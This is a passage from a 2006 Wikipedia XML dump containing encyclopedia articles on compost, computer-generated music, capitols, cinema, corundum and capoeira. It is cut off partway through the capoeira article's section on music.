    </revision>
  </page>
  <page>
    <title>Compost</title>
    <id>5966</id>
    <revision>
      <id>41762308</id>
      <timestamp>2006-03-01T15:44:27Z</timestamp>
      <contributor>
        <ip>81.79.251.50</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Compost.jpg|right|A handful of compost]]
[[Image:Compost bin.jpg|thumb|250px|A compost bin full of autumn oak leaves]]

'''Compost''' is the decomposed remnants of [[organic compound|organic]]  materials (those with [[plant]] and [[animal]] origins). Compost is used in [[gardening]] and [[agriculture]], mixed in with the [[soil]].  It improves soil structure, increases the amount of [[organic matter]], and provides nutrients. [[Biodegradation]] is the means by which organic matter is recycled in its environment.  

Compost is a common name for [[humus]], which is the result of the [[decomposition]] of organic matter. Decomposition is performed primarily by [[microorganism|microbes]], although larger creatures such as [[nematode]] and [[oligochaete]] worms (see [[vermicomposting]]), and [[ant]]s, contribute to the process. Decomposition occurs naturally in all but the most hostile environments, such as buried in [[landfill]]s or in extremely arid [[desert]]s, which prevent the microbes and other decomposers from thriving.

'''Composting''' is the ''controlled'' decomposition of organic matter. Rather than allowing nature to take its slow course, a composter provides an optimal environment in which decomposers can thrive. To encourage the most active microbes, the compost pile needs the proper mix of the following ingredients:
*[[Carbon]]
*[[Nitrogen]]
*[[Oxygen]] (air)
*[[Water]]

Decomposition happens even in the absence of some of these ingredients, but not nearly as quickly and not nearly as pleasantly (for example, the plastic bag of [[vegetable]]s in your refrigerator is decomposed by microbes, but the absence of air encourages the growth of [[Anaerobic organism|anaerobic microbes]] that produce disagreeable odors).

==Decomposers==
All guidelines for building compost piles have the goal of creating the proper environment for a decomposing [[ecosystem]]. The ecosystem in a compost pile is a microcosm of larger ecosystems. The correct environment must be maintained for a healthy and vigorous community of decomposers. In addition to the decomposers that work directly on the organic content of the pile, compost piles provide habitat for those that prey upon direct decomposers. Their waste also becomes part of the compost material.

The most effective decomposers are [[bacteria]] and other microorganisms.  Also important are [[fungus|fungi]], [[protozoa]], and [[actinobacteria]] (or actinomycetes, bacteria that are often seen as white filaments in decomposing organic matter). At a macroscopic level, [[earthworm]]s, [[ant]]s, [[snail]]s, [[slug]]s, [[millipede]]s, [[sow bug]]s, [[springtail]]s, and others work on consuming and breaking down the organic matter. [[Centipede]]s and other predators feed upon these decomposers.

==Compost ingredients==
The goal in a compost pile is to provide a healthy environment--and nutrition--for the rapid decomposers, the bacteria.

The most rapid composting occurs with the ideal ratio--by dry chemical weight--of carbon to nitrogen, from 25-to-1 to 30-to-1.  In other words, the ingredients placed in the pile should contain 30 times as much carbon as nitrogen.  For example, [[grass]] clippings average about 19-to-1 and dry [[autumn]] [[leaf|leaves]] average about 55-to-1. Mixing equal parts by volume approximates the ideal range. Commercial-grade composting operations pay strict attention to this ratio. For backyard composters, however, the charts of carbon and nitrogen ratios in various ingredients and the calculations required to get the ideal mixture can be intimidating, so many [[rule of thumb|rules of thumb]] exist to guide composters in approximating this mixture.

High-carbon sources provide the [[cellulose]] needed by the composting bacteria for conversion to sugars and heat.

High-nitrogen sources provide the most concentrated [[protein]], which allow the compost bacteria to thrive.

Some ingredients with higher carbon content:
* Dry, straw-type material, such as cereal straws
* Autumn leaves 
* [[Sawdust]] and [[wood]] chips
* Some [[paper]] and [[cardboard]] (such as corrugated cardboard or newsprint with soy-based inks)

Some ingredients with higher nitrogen content:
* Green plant material (fresh or wilted) such as crop residues, hay, grass clippings, weeds
* Animal [[manure]]s (from vegetarian animals, not carnivores)
* [[Fruit]] and vegetable trimmings
* [[Seaweed]]s
* Used Coffee grounds 

[[Poultry]] manure provides lots of nitrogen but little carbon. [[Horse]] manure provides both. [[Sheep]] and [[cattle]] manure don't drive the compost heap to as high a temperature as poultry or horse manure, so the heap takes longer to produce the finished product.

In an attempt to judge the proper mix of materials, different rules of thumb are available. Some prefer to add one basket full of nitrogen source followed by one basket of carbon source. Mixing the materials as they are added increases the rate of decomposition, but some people prefer to place the materials in alternating layers, approximately 15 [[centimeter|cm]] (6 [[inch|in]]) thick, to help estimate the quantities. Keeping carbon and nitrogen sources separated in the pile can slow down the process, but decomposition will occur in any event.

Greasy food waste and wastes from [[meat]], [[dairy products]], and [[egg (food)|egg]]s should not be used in compost because they tend to attract unwanted [[insect]]s and other [[animal]]s. [[Eggshell]]s, however, are a good source of nutrients for the compost pile and the soil although they typically take more than one year to decompose.

==Composting techniques==
There are two primary methods of aerobic composting:
* ''Active'' (or ''hot'') composting, which allows the most effective decomposing bacteria to thrive, kills most pathogens and seeds, and rapidly produces usable compost
* ''Passive'' (or ''cold'') composting, which lets nature take its course in a more leisurely manner and leaves many pathogens and seeds dormant in the pile

Most commercial and industrial composting operations use active composting techniques. This ensures a higher quality product and produces results in the shortest time (see [[compost windrow turner]]).  The greatest control, and therefore the highest quality, is generally achieved by composting inside an enclosed vessel which is monitored and adjusted continuously for optimal temperature, air flow, moisture, and other parameters.  See [[In-vessel composting (indoor composting)]].  

Home composters use a range of techniques varying from extremely passive composting (throw everything in a pile in a corner and leave it alone for a year or two) to extremely active (monitoring the temperature, turning the pile regularly, and adjusting the ingredients over time) and combinations of both.

Some composters use mineral powders to absorb smells, although a well-maintained pile seldom has bad odors.

==Microbes and heating the pile==
[[Image:Compost Heap.jpg|thumb|right|An active compost heap, steaming on a cold winter morning. The heap is kept warm by the [[exothermic]] action of the [[bacteria]] as they [[decomposition|decompose]] the organic matter.]]
An effective compost pile is kept about as damp as a well wrung-out sponge. This provides the moisture that all life needs to survive; in a compost pile, it provides an environment in which microbes can begin to do their work. Bacteria and other microorganisms fall into a variety of groups in terms of what their ideal temperature is and how much heat they generate as they do their work. ''[[Mesophile|Mesophilic]]'' bacteria enjoy midrange temperatures, from about 20 to 40 °C (70 to 110 °F).  As they decompose the organic matter, they generate heat, and the inner part of a compost pile heats up the most.

The heap should be about 1 [[metre|m]] (3 [[foot (unit of length)|ft]]) wide, 1 m (3 ft) tall, and as long as is practicable &amp;ndash; the advantage to making the heap at least 1 m&amp;sup3; (1 [[yard|yd]]&amp;sup3;) is that it provides suitable insulating mass to allow a good heat build-up as the material decays. The ideal temperature range hovers around 60 °C (140 °F), which kills most pathogens and weed seeds and also  provides a suitable environment for ''[[Thermophile|thermophilic]]'' (heat-loving) bacteria, which are the fastest acting decomposers. The centre of the heap should get quite warm, possibly hot enough to burn a bare hand. If this fails to happen, common reasons include the following:
* The heap is too wet, thus excluding the oxygen required by the compost bacteria
* The heap is too dry, so that the bacteria do not have the moisture needed to survive and reproduce
*There is insufficient protein (nitrogen-rich material)

The solution is to add material, if necessary, and/or to turn the pile to aerate it.

Depending on how quickly the compost is required, the heap can be turned one or more times to bring the outer layers to the inside of the heap and vice versa, as well as to aerate the mixture.  Adding water at this time keeps the pile as damp as a wrung-out sponge. One guideline is to turn the pile when the high temperature has begun to drop, indicating that the food source for the fastest-acting bacteria (in the center of the pile) has been largely consumed. After the temperature stops rising after the pile has been turned, there is  no further advantage in turning the pile. When all the material has become barely recognisable from the original ingredients, turning into dark brown or nearly black crumbly matter, it's ready to use. Some practitioners like to leave the compost to mature further for up to a year as this seems to make the benefits of compost last longer.

==Other ingredients==
Some like to put special materials and activators into their compost. A light dusting of [[agricultural lime]] (not on the animal [[manure]] layers) can curb excessive acidity that can slow down the fermentation. Seaweed meal can provide a ready source of [[trace elements]]. Finely pulverized rock ([[Rock flour|Rock dust]] - [[Rock flour]]) can also provide needed minerals, as opposed to [[clay]] (which is trace mineral-poor and/or leached rock dust).

The animal [[manure]] part of compost source materials can be collected by [[composting toilet]]s (in this case, [[human feces]]). However, such compost is usually not used as a [[fertilizer]] for plants that are directly edible (e.g., [[salad]] crops) but is instead be used on [[tree]]s, [[bush fruit]]s or else on the [[ornamental garden]]. Most composting toilets do not allow for the [[thermophilic]] activity needed to completely kill off the [[pathogens]] and [[bacteria]]. However, there is research that shows that if these high temperatures are reached, there is no danger of contamination, and the resulting compost can be safely used on food crops.

==Composting systems==
*[[Container composting]]
*[[In-vessel composting (indoor composting)]]
*[[German mound]]
*[[Leaf mold]]
*[[High fibre composting]]
*[[Worm compost]]
*[[Spent mushroom compost]]
*[[Sheet composting]]
*[[Windrow composting]]
*[[Humanure]]
*[[Composting toilet]]

== See also ==
*[[Soil amendments]]
*[[Soil conditioner]]
*[[List of environment topics]]

==External links==
*[http://www.startcomposting.co.uk/ Start Composting - Beginner's Composting]
*[http://www.compost-bin.org/ The Compost Bin - Learn about Composting]
*[http://www.rolypigusa.com/composting_info/composting-lessons.php Lesson Plans and Composting] 
Projects for Schools
*[http://www.ciwmb.ca.gov/Organics/HomeCompost/ Home Composting]
*[http://www.mastercomposter.com/ Master Composter]
*[http://compost.css.cornell.edu/Note.html Cornell Composting--Science and Engineering]
*[http://www.ehow.com/how_3541_begin-compost-pile.html How to Begin a Compost Pile]
*[http://weblife.org/humanure The Humanure Handbook]
*[http://s14.invisionfree.com/The_Compost_Froup/index.php? The Compost Froup: composting community and forums]
*[http://www.aeromasterequipment.com/ Midwest Bio-Systems]
*[http://video.google.com/videoplay?docid=-3991027428756658231 Composting in your garden]

{{waste}}
[[Category:Biodegradation]]
[[Category:Composting]]
[[Category:Gardening]]
[[Category:Organic gardening]]
[[Category:Sustainability]]
[[Category:Waste]]

[[bg:Компостиране]]
[[ca:Compost]]
[[cs:Kompost]]
[[da:Kompostering]]
[[de:Kompostierung]]
[[el:Κόμποστ]]
[[es:Compost]]
[[eo:Kompoŝtado]]
[[fr:Compost]]
[[it:Compost]]
[[he:רקבובית]]
[[nl:Compost]]
[[ja:堆肥]]
[[pl:Kompost]]
[[fi:Komposti]]
[[sv:Kompostering]]</text>
    </revision>
  </page>
  <page>
    <title>Computer-generated music</title>
    <id>5968</id>
    <revision>
      <id>40452555</id>
      <timestamp>2006-02-20T17:39:53Z</timestamp>
      <contributor>
        <ip>81.17.198.133</ip>
      </contributor>
      <comment>/* Computer-generated compositions performed by computers */</comment>
      <text xml:space="preserve">'''Computer-generated music''' is [[music]] [[musical composition|composed]] by, or with the extensive aid of, a computer. Although any music which uses computers in its composition or realisation is computer-generated to some extent, the use of computers is now so widespread (in the editing of pop songs, for instance) that the phrase '''computer-generated music''' is generally used to mean a kind of music which could not have been created ''without'' the use of computers.

We can distinguish two groups of computer-generated music: music in which a computer generated the score, which could be performed by humans, and music which is both composed and performed by computers.

==Computer-generated Scores for Performance by Human Players==

Many systems for generating musical scores actually existed well before the time of computers. One of these was Mozart&amp;rsquo;s [[Musikalisches Würfelspiel]], a system which used throws of the dice to randomly select measures from a large collection of small phrases. When patched together, these phrases combined to create musical pieces which could be performed by human players. Although these works were not actually composed with a computer in the modern sense, Mozart uses, though in rudimentary form, the same algorithmic techniques that composers now often use with the electronic binary digital computers in existence since the Second World War. 

The world's first digital computer music was generated in Australia by programmer Geoff Hill on the [[CSIRAC]] computer which was designed and built by Trevor Pearcey and Maston Beard. Subsequently, one of the first composers to write music with a computer was [[Iannis Xenakis]]. He wrote programs in the [[FORTRAN]] language which would automatically produce scores to be played by traditional [[musical instrument]]s. An example is ''ST/48'' of 1962. Although Xenakis could well have composed this music by hand, the intensity of the calculations needed to transform probabilistic mathematics into musical notation was best left to the number-crunching power of the computer.

Computers have also been used in an attempt to imitate the music of great composers of the past, such as [[Wolfgang Amadeus Mozart| Mozart]]. A present exponent of this technique is [[David Cope]]. He wrote computer programs that analyse works of other composers to produce new works in a similar style. He has used this program to great effect with composers such as Bach and Mozart (his program ''Experiments in Musical Intelligence'' is famous for creating &quot;Mozart's 42nd Symphony&quot;), but also on his own pieces, combining his own creations with that of the computer. 

Some critics claim that computers are unable to produce music of the same quality as the great composers, though others would ask whether or not this is really the point of producing music in this way.

==Music Composed and Performed by Computers==

Later, composers such as [[Gottfried Michael Koenig]] had the computers generate the sounds of the composition as well as the score. Koenig originally produced algorithmic composition programs which were similar to Xenakis', in that they translated the calculation of mathematical equations into musical notation which could be performed by human players. His programs Project 1 and Project 2 are examples of this kind of software. Later, he extended the same kind of principles into the realm of synthesis, enabling the computer to produce the sound directly. SSP is an example of a program which performs this kind of function. All of these programs were produced by Koenig at the Institute of Sonology in [[Utrecht|Utrecht, Holland]] in the [[1970s]].

Procedures such as those used by Koenig and Xenakis are still in use today. Since the invention of the [[MIDI]] system in the early [[1980s]], for example, some people have worked on programs which map MIDI notes to an [[algorithm]] and then can either output sounds or music through the computer's [[sound card]] or write an [[audio file format|audio file]] for other programs to play. 

Some of these simple programs are based on [[fractal geometry]], and can map midi notes to specific [[fractal]]s, or fractal equations. Although such programs are widely available and are sometimes seen as clever toys for the non-musician, some professional musicians have given them attention also. The resulting 'music' can be more like noise, or can sound quite familiar and pleasant. As with much algorithmic music, and algorithmic art in general, more depends on the way in which the parameters are mapped to aspects of these equations than on the equations themselves. Thus, for example, the same equation can be made to produce both a lyrical and melodic piece of music in the style of the mid-nineteenth century, and a fantastically dissonant cacophony more reminiscent of the avant-garde music of the 1950's and 1960's. 

Other programs can map mathematical formulae and constants to produce sequences of notes. In this manner, an [[irrational number]] can give an infinite sequence of notes where each note is a digit in the decimal expression of that number. This sequence can in turn be a composition in itself, or simply the basis for further elaboration.

Operations such as these, and even more elaborate operations can also be performed in computer music programming languages such as [[Csound]], PD, Max/MSP, and [[ChucK]]. These programs now easily run on most personal computers, and are often capable of more complex functions than those which would have necessitated the most powerful mainframe computers several decades ago.

Another 'cybernetic' approach to computer composition uses specialized hardware to detect external stimuli which are then mapped by the computer to realize the performance.  Examples of this style of computer music can be found in the middle-80's work of [[David Rokeby]] (Very Nervous System) where audience/performer motions are 'translated' to MIDI segments. Computer controlled music is also found in the performance pieces by the Canadian composer [[Udo Kasements]] (1919-) such as the Marce(ntennia)l Circus C(ag)elebrating Duchamp (1987), a realization of the [[Marcel Duchamp]] process piece Music Errata using an electric model train to collect a hopper-car of stones to be deposited on a drum wired to an Analog:Digital converter, mapping the stone impacts to a score display (performed in Toronto by pianist Gordon Monahan during the 1987 Duchamp Centennial), or his installations and performance works (eg Spectrascapes) based on his Geo(sono)scope (1986) 15x4-channel computer-controlled audio mixer. In these latter works, the computer generates sound-scapes from tape-loop sound samples, live shortwave or sine-wave generators.

==See also==
*[[Algorithmic composition]]
*[[Trackers]]
*[[Max Mathews]]

==External links==
===Works composed by computers for human performance===
* [http://www.algorithmic.net algorithmic.net] - a lexicon of systems and research in computer aided algorithmic composition
*Samples of David Cope's music: 
**[http://www.spectrumpress.com/cope-mp3.html Miscellaneous samples]
**[http://www.music.gla.ac.uk/~tfowler/articles/Computer.html Roll over Beethoven]
*[http://www.charlesfox.org.uk Charles Fox's computer cross-breeding of Bach with the Spice Girls]
*[http://www.soundclick.com/bands/4/marcfrasermusic.htm Marc Fraser - composer of fractal-generated MP3s]

===Computer-generated compositions performed by computers===

*[http://chuck.cs.princeton.edu/ ChucK] (language)
*[http://www.csounds.com/ Csound] (language)
*[http://www.cycling74.com/ Max/MSP] (language)
*[http://www.puredata.info/ PD] (language)
*[http://supercollider.sourceforge.net/ SuperCollider] (language)
*[http://us.metamath.org/mpegif/mmmusic.html Metamath Music]
*[http://www.synestesia.fi/ Synestesia:] Music generated from pictures
*[http://home.comcast.net/~chtongyu/Thesis.html#downloads Sharle, a thesis]
*[http://www.essl.at/works/Lexikon-Sonate.html Lexikon-Sonate:] Karlheinz Essl's realtime composition for computer-controlled piano



[[Category:Electronic music]]
[[Category:Multimedia]]</text>
    </revision>
  </page>
  <page>
    <title>Capitol</title>
    <id>5970</id>
    <revision>
      <id>40881045</id>
      <timestamp>2006-02-23T17:07:37Z</timestamp>
      <contributor>
        <username>Swid</username>
        <id>89326</id>
      </contributor>
      <minor />
      <comment>+ cats</comment>
      <text xml:space="preserve">[[image:Photo uscapitol.jpg|right|200px|thumbnail|Photo of the U.S. Capitol Building, Washington, DC, December 2003.]]

'''Capitol''' comes from the [[Latin]] ''[[Capitoline Hill|Capitolinus Mons]]'' in [[Ancient Rome]].  It was the seat of the [[Roman Republic]] and today is the seat of the Mayor of [[Rome]].

==Capitols in the United States==

''Capitol'' is the name generally given in the [[United States]] to the [[building]] in which the [[executive branch|executive]] and/or [[legislative branch]]es of local or national [[government]] are housed.    The [[United States Capitol]] houses the [[Congress of the United States]]. A capitol building is sometimes called a statehouse.

The [[U.S. Capitol]] is located in [[Washington, D.C.]] In  [[1705]], the first [[Capitol (Williamsburg, Virginia)|Capitol]] building in America was built at [[Williamsburg, Virginia]], where it was reconstructed and is a centerpiece of the restored area of [[Colonial Williamsburg]].

''See also: [[List of U.S. state capitols]]''  

==Other capitols==
The Capitole de Toulouse is the seat of the municipal administration of [[Toulouse]]. The Capitouls (governing magistrates) of Toulouse embarked on the construction of the original building in 1190, to provide a seat for the government of a province growing in wealth and influence. The name ''Capitole'' referred not only to the Roman Capitol but also to the ''capitulum'' which was the [[chapter (religion)|chapter]] of the governing magistrates. The current façade dates from 1850, built according to plans by Guillaume Cammas. The eight columns represent the original eight capitouls. In 1873, [[Eugène Viollet-le-Duc]] built a belltower typical of the style of northern France. Only the Henri IV courtyard and gate survive from the original mediaeval buildings. Today the Capitole houses the city hall, as well as an opera company and symphony orchestra. The ''Salle des Illustres'' contains 19th century artworks.

The [[Capitolio Nacional]] houses the Congress of Colombia.

The [[Capitolio de Puerto Rico]] houses the legislature of Puerto Rico.

The [[Caracas#Capitolio_Nacional|Capitolio Nacional]] houses the [[National Assembly of Venezuela]].

==See also==

''Capitol'' references other subjects, too.  Among other things, it references:

*''[[Capitol (TV series)|Capitol]]'', a [[soap opera]] which ran on [[CBS]] from [[1982]] to [[1987]]
*[[Capitol (board game)|Capitol]], a [[List of Ancient Rome-related topics|Roman]]-themed [[German-style board game]]
*[[Capitol Records]], a [[United States|US]] [[record label]], part of [[EMI]]
*[[Capitol Air Lines]], an airline 
*[[Capital Airlines]], an airline
*[[Capitol Air (band)]] a Christian music band
*[[Capitol Cinema/Theatre|Capitol]] was a common name for a cinema or theatre

[[Category:Legislative buildings|*]]
[[Category:Buildings and structures]]

[[de:Kapitol]]
[[fr:Capitole (Homonymie)]]
[[no:Capitol]]
[[pl:Kapitol]]</text>
    </revision>
  </page>
  <page>
    <title>Cinema</title>
    <id>5973</id>
    <revision>
      <id>36354684</id>
      <timestamp>2006-01-23T13:26:32Z</timestamp>
      <contributor>
        <username>Commander Keane</username>
        <id>169380</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/213.106.248.45|213.106.248.45]] ([[User talk:213.106.248.45|talk]]) to last version by Commander Keane</comment>
      <text xml:space="preserve">'''Cinema''' can refer to:
* [[Film]], motion pictures or movies
* [[Movie theater]], a building in which films are shown
* [[Cinematography]], the art of recording visual images

{{disambig}}

[[el:&amp;#922;&amp;#953;&amp;#957;&amp;#951;&amp;#956;&amp;#945;&amp;#964;&amp;#959;&amp;#947;&amp;#961;&amp;#940;&amp;#966;&amp;#959;&amp;#962;]]</text>
    </revision>
  </page>
  <page>
    <title>Corundum</title>
    <id>5974</id>
    <revision>
      <id>40554315</id>
      <timestamp>2006-02-21T11:17:20Z</timestamp>
      <contributor>
        <username>Baronjonas</username>
        <id>64199</id>
      </contributor>
      <minor />
      <comment>spelling</comment>
      <text xml:space="preserve">{| border=1 cellspacing=0 align=right cellpadding=0 width=250 valign=top style=&quot;margin-left:1em&quot;
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2 align=center|Corundum
|----- align=center
!colspan=2|[[Image:Corundum_USGOV.jpg|center|thumb|Corundum]]
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2|General
|-----
|Category||[[Mineral]]
|-----
|[[Chemical formula]]|| [[aluminium oxide]], Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Identification
|-----
| Colour || Brown to grey, less often red, blue, white, yellow.
|-----
| [[Crystal habit]] || Steep bipyramidal, tabular, prismaticl, rhombohedral crystals, massive or granular.
|-----
| [[Crystal structure|Crystal system]] || [[Trigonal]] Hexagonal Scalenohedral bar32/m
|-----
| [[Crystal twinning|Twinning]] || Polysynthetic twinning common
|-----
| [[Cleavage (crystal)|Cleavage]]|| None - parting in 3 directions
|-----
| [[Fracture]]|| Conchoidal to uneven
|-----
| [[Mohs Scale]] hardness || 9
|-----
| Luster|| Adamantine to vitreous
|-----
| [[Refractive index]]|| nω=1.768 - 1.772 nε=1.760 - 1.763, Biref 0.009
|-----
| [[Pleochroism]]|| None
|-----
| [[Streak]]|| White
|-----
| [[Specific gravity]]|| 3.95-4.1
|-----
| [[Fusibility]]|| Infusible
|-----
| [[Solubility]]|| Insoluble
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Major varieties
|-----
| [[Sapphire]] || Any color except red
|-----
| [[Ruby]]|| Red
|-----
| [[Emery (mineral)|Emery]] || Granular
|-----
|}
'''Corundum''' is the [[crystal]]line form of [[aluminium oxide]] and one of the [[rock (geology)|rock]]-forming [[mineral]]s. Corundum is naturally clear, but can have different colors when impurities are present. [[Transparency (optics)|Transparent]] specimens are used as [[gem]]s, called [[ruby]] if [[red]], while all other colors are called [[sapphire]]. The word ''corundum'' comes from the [[Tamil language|Tamil]] ''kurundam''.

The [[oxygen]] atoms in corundum are arranged in a hexagonal [[close-packing]], with the smaller aluminium atoms occupying 2/3 of the [[octahedron|octahedral]] gaps. The coordination of the atoms are thus 6:4, compared to 4:2 for [[quartz]], which accounts for its greater hardness despite the Al-O bonds being less [[covalent bond|covalent]]. In addition to its hardness, corundum is unusual for its high [[density]] of 4.02 g/cm&lt;sup&gt;3&lt;/sup&gt; which is very high for a transparent mineral composed of the low [[atomic mass]] elements  [[aluminium]] and [[oxygen]].

Due to corundum's hardness (typically 9.0), it is commonly used as an [[abrasive]] in machining, from huge machines to [[sandpaper]].  [[Emery (mineral)|Emery]] is an impure and less abrasive variety, with a [[Mohs hardness]] of 8.0. 

Corundum occurs as an accessory mineral in mica [[schist]], [[gneiss]] and some [[marble]]s in [[Metamorphic rocks|metamorphic terranes]]. It also occurs in low silica [[igneous]] [[syenite]] and [[nepheline syenite]] [[intrusive]]s. Other occurrences are as masses adjacent to [[ultramafic]] intrusives, associated with [[lamprophyre]] [[Dike (geology)|dikes]] and as large crystals in [[pegmatite]]s. Because of its hardness and resistance to weathering it commonly occurs as a detrital mineral in stream and beach sands.

Corundum for abrasives is mined in [[Zimbabwe]], [[Russia]] and [[India]]. Historically it was mined from deposites associated with [[dunite]]s in [[North Carolina]] and from a nepheline syenite in [[Craigmont]], [[Ontario]]. [[Emery]] grade corundum is found on the [[Greek]] island of [[Naxos]] and near [[Peekskill, New York]]. Abrasive corundum is synthetically manufactured from [[bauxite]].

==References==
* Hurlbut, Cornelius S.; Klein, Cornelis, 1985, ''Manual of Mineralogy'', 20th ed., Wiley, pp. 300-302 ISBN 0471805807
* [http://www.mindat.org/min-1136.html Mindat]
* [http://webmineral.com/data/Corundum.shtml Webmineral data]
* [http://www.galleries.com/minerals/oxides/corundum/corundum.htm Mineral galleries]

[[Category:Aluminium minerals]]
[[Category:Oxide minerals]]
[[Category:Superhard materials]]

[[cs:Korund]]
[[da:Korund]]
[[de:Korund]]
[[es:Corindón]]
[[fr:Corindon]]
[[it:Corindone]]
[[lt:Korundas]]
[[hu:Korund]]
[[nl:Korund]]
[[ja:コランダム]]
[[pl:Korund]]
[[pt:Corindon]]
[[ru:Корунд]]
[[fi:Korundi]]
[[sv:Korund]]
[[zh:剛玉]]
[[sr:Корунд]]</text>
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      <text xml:space="preserve">[[Image:Rugendasroda.jpg|thumb|300px|right|''Capoeira or the Dance of War'' by  Johann Moritz Rugendas, 1835]]

'''Capoeira''' is an [[Afro-Brazilian]] [[martial art]] developed initially by African [[slaves]] in Brazil, starting in the [[Colonial Brazil|colonial period]]. It is marked by deft, tricky movements often played on the ground or completely inverted.  It also has a strong [[acrobatic]] component in some versions and is always played with music. 

There are two main styles of capoeira that are clearly distinct. ''Angola'' is characterized by slow, low play with particular attention to the rituals and tradition of capoeira. The other style, ''Regional'' (pronounced 'heh-jeeh-oh-nahl' or 'heh-jeeh-oh-now'), is known for its fluid acrobatic play, where technique and strategy are the key points. Both styles are marked by the use of feints and subterfuge, and use groundwork extensively, as well as sweeps, kicks, and headbutts.

Recently, the art has been popularized by the addition of Capoeira performed in various computer games and movies, and capoeira music has featured in modern pop music (see ''[[#Capoeira in popular culture|Capoeira in popular culture]]''). 

== History ==
During the 1500s, [[Portugal]] shipped slaves into [[South America]] from Western [[Africa]]. Brazil was the largest contributor to slave migration with 42% of all slaves shipped across the Atlantic. The following peoples were the most commonly sold into Brazil: The Sudanese group, composed largely of [[Yoruba]]a and [[Dahomey|Dahomean]] people, the Islamised Guinea-Sudanese group of Malesian and Hausa people and the [[Bantu]] group (among them [[Kongo language|Kongos]], Kimbundas and Kasanjes) from [[Angola]], [[Democratic Republic of the Congo|Congo]] and [[Mozambique]].

There are engravings and writings that describe a now-lost fighting dance in [[Cuba]] that reminds us of capoeira with two Bantu men moving to the [[yuka]] drums. It is called the ''[[baile del maní]]''.  [[Batuque]] and [[Maculele (dance)|Maculele]] are other fight-dances closely connected to capoeira.

These people brought their cultural traditions and [[religion]] with them to the [[New World]]. The homogenization of the African people under the [[oppression]] of [[slavery]] was the catalyst for capoeira. Capoeira was developed by the slaves of Brazil as a way to resist their oppressors, secretly practice their art, transmit their culture, and lift their spirits.  Some historians believe that the indigenous peoples of Brazil also played an important role in the development of capoeira.

After slavery was abolished, the slaves moved to the cities of Brazil, and with no employment to be found, many joined or formed criminal gangs.  They continued to practice capoeira, and it became associated with anti-government or criminal activities.  As a result, capoeira was outlawed in Brazil in 1892. The punishment for practicing it was extreme (practitioners would have the tendons on the back of their feet cut), and the police were vicious in their attempt to stamp out the art.  Capoeira continued to be practiced, but it moved further underground.  [[Roda]]s were often held in areas with plenty of escape routes, and a special rhythm called ''cavalaria'' were added to the music to warn players that the police were coming.  To avoid being persecuted, capoeira practitioners (''capoeiristas'') also gave themselves an ''apelido'' or [[nickname|nicknames]], often more than one. This made it much harder for the police to discover their true identities.  This tradition continues to this day.  When a person is baptized into Capoeira at the batizado ceremony, they may be given their ''apelido.''

Persecution of the art petered out eventually, and was entirely gone by 1918. &lt;!-- implication from Mestre Bimba article --&gt;

In 1937, [[Mestre Bimba]] was invited to demonstrate his art in front of the president.  After this performance, he was given permission to open the first capoeira school in Brazil.  Since that time, capoeira has been officially recognized as a national sport, and has spread around the world. Mestre Bimba's systematization and teaching of capoeira made a tremendous contribution to the capoeira community.

In 1942, [[Mestre Pastinha]] opened the first ''Capoeira Angola'' school, the ''Centro Esportivo de Capoeira Angola'', located in Bahia. He had his students wear black pants and yellow t-shirts, the same color of the &quot;Ypiranga Futebol Clube,&quot; his favorite soccer team. Most Angola schools since then follow in this tradition, having their students wear yellow capoeira t-shirts.

Together, [[Mestre Bimba]] and [[Mestre Pastinha]] are generally seen as the fathers of modern ''Capoeira Regional'' and ''Capoeira Angola'' respectively.

=== Etymology ===
The derivation of the word ''capoeira'' is under dispute. One possible meaning is that it refers to an area of forest or jungle that has been cleared by burning or cutting down. [[Afro-Brazilian]] scholar Carlos Eugenio believes it refers to a large round basket called a ''capa'' commonly worn on the head by urban slaves selling wares (a ''capoeira'' being one who wears the basket). Alternatively, [[Kongo language|Kongo]] scholar K. Kia Bunseki Fu-Kiau thinks that capoeira could be a deformation of the [[Kikongo]] word ''kipura'', which means to flutter, to flit from place to place; to struggle, to fight, to flog. In particular, the term is used to describe rooster's movements in a fight.

== Music ==
[[Image:Capoeira-three-berimbau-one-pandeiro.jpg|thumb|300px|A capoeira bateria led by [[Mestre Cobra Mansa]] featuring three [[berimbau]]s and a [[pandeiro]].]]
:''See also: [[Capoeira music]]; [[Capoeira toques]]''
Music is integral to Capoeira. It sets the tempo and style of game that is to be played within the ''[[Roda]]'' (pronounced Ho'da). The music is comprised of [[Musical instruments|instruments]] and [[song]]. The tempos differ from very slow (Angola) to very fast (São Bento Regional). Many of the songs are sung in a call and response format while others are in the form of a narrative.  Capoeiristas sing about a wide variety of subjects.  Some songs are about history or stories of famous capoeiristas.  Other songs attempt to inspire players to play better.  Some songs are about what is going on within the roda.  Sometimes the songs are about life, or love lost.  Others are lighthearted or even silly things, sung just for fun.  Capoeiristas change their playing style significantly as the songs or [[capoeira toques|rhythm]] from the [[berimbau]] (right) commands.  In this manner, it is truly the music that drives capoeira.

There are three basic kinds of songs in capoeira. A ''ladainha'' (litany) is a narrative solo usually sung at the beginning of a roda, often by the ''Mestre'' (Master). These ladainhas will often be famous songs previously written by a Mestre, or they may be improvised on the spot. A ladainha is usually followed by a ''chula'' or ''louvação'', following a call and response pattern that usually thanks God and one's teacher, among other things. Each call is usually repeated word-for-word by the responders. The ladainha and chula are often omitted in Regional games. Finally, ''corridos'' are songs that are sung while a game is being played, again following the call and response pattern. The responses to each call do not simply repeat what was said, however, but change depending on the song. For the words to many of the songs, see [[Capoeira songs]].

